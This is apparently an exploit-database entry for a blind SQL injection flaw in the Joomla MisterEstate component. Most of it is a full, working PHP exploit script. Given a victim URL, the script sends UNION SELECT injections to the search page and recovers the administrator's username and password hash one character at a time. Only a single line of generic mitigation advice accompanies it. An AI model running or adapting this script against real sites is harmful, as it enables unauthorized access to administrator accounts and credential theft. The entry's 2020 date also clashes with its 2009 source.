Joomla Component MisterEstate Blind SQL Injection Exploit

vendor:

Joomla Component MisterEstate

by:

Anonymous

7,5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: Joomla Component MisterEstate

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Joomla Component MisterEstate Blind SQL Injection Exploit

This exploit is related to a Blind SQL Injection vulnerability in the Joomla Component MisterEstate. The exploit is used to extract the username and password of an administrator account by exploiting the vulnerability in the 'index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component' page. The exploit uses a loop to iterate through the characters of the username and password and then concatenates them to form the complete username and password.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

<?php

  echo '<h2>Joomla Component MisterEstate Blind SQL Injection Exploit</h2>';

  // http://www.misterestate.com/

  ini_set( "memory_limit", "512M" );

                ini_set( "max_execution_time", 0 );

                set_time_limit( 0 );

                if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' );

  $url = "http://".$_GET['url']."/index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component";

  $data = array();

  $data['src_cat'] = 0;

  $data['country'] = 'no';

  $data['state'] = 'no';

  $data['town'] = 'no';

  $data['district'] = 'no';

  $data['mesearch'] = 'Start Search';

  $admin = '';

  $output = getData( "1%') AND 1=2 UNION SELECT id FROM jos_users WHERE gid=25 ORDER BY id ASC LIMIT 1 -- '" );

  if( !testData( $output ) ) die('failed');

  echo '<br />Check passed... trying exploit...<br /><br />';

 

  for( $i=0;$i<250;$i++ )

  {

    for( $j=48; $j<126; $j++ )

    {

      $output = getData( "1%') AND 1=2 UNION SELECT id FROM jos_users WHERE gid=25 AND ASCII(SUBSTRING(CONCAT(username,0x3a,password),$i,1)) = $j ORDER BY id ASC LIMIT 1 -- '" );

      if( testData( $output ) )

      {

        ob_end_clean();

        $admin .= chr( $j );

        echo "Found character $i : buffer is now $admin<br />";

      }

      ob_end_clean();

    }

  }

  echo "<h3>All done!</h3>";

  echo "<h4>$admin</h4>";

  function shutUp( $buffer ) { return false; }

  function testData( $output )

  {

    /* feel free to add other translations as needed */

    $reg = array( '/Your\ search\ produced\ 1\ hits/', '/Su\ busqueda\ ha\ encontrado\ 1\ aciertos/' );

    foreach( $reg as $r )

      if( preg_match( $r, $output ) )

        return TRUE;

    return FALSE;

  }

  function getData( $string )

  {

    global $data, $url;

    $data['searchstring'] = $string;

    ob_start( "shutUp" );

    $ch = curl_init();

    curl_setopt( $ch, CURL_TIMEOUT, 120 );

    curl_setopt( $ch, CURL_RETURNTRANSFER, 0 );

    curl_setopt( $ch, CURLOPT_URL, $url );

    if( count( $data ) > 0 )

    {

      curl_setopt( $ch, CURLOPT_POST, count( $data ) );

      curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) );

    }

    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" );

    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );

    $result = curl_exec( $ch );

    curl_close( $ch );

    return ob_get_contents();

  }

  /* jdc 2009 */

# milw0rm.com [2009-08-18]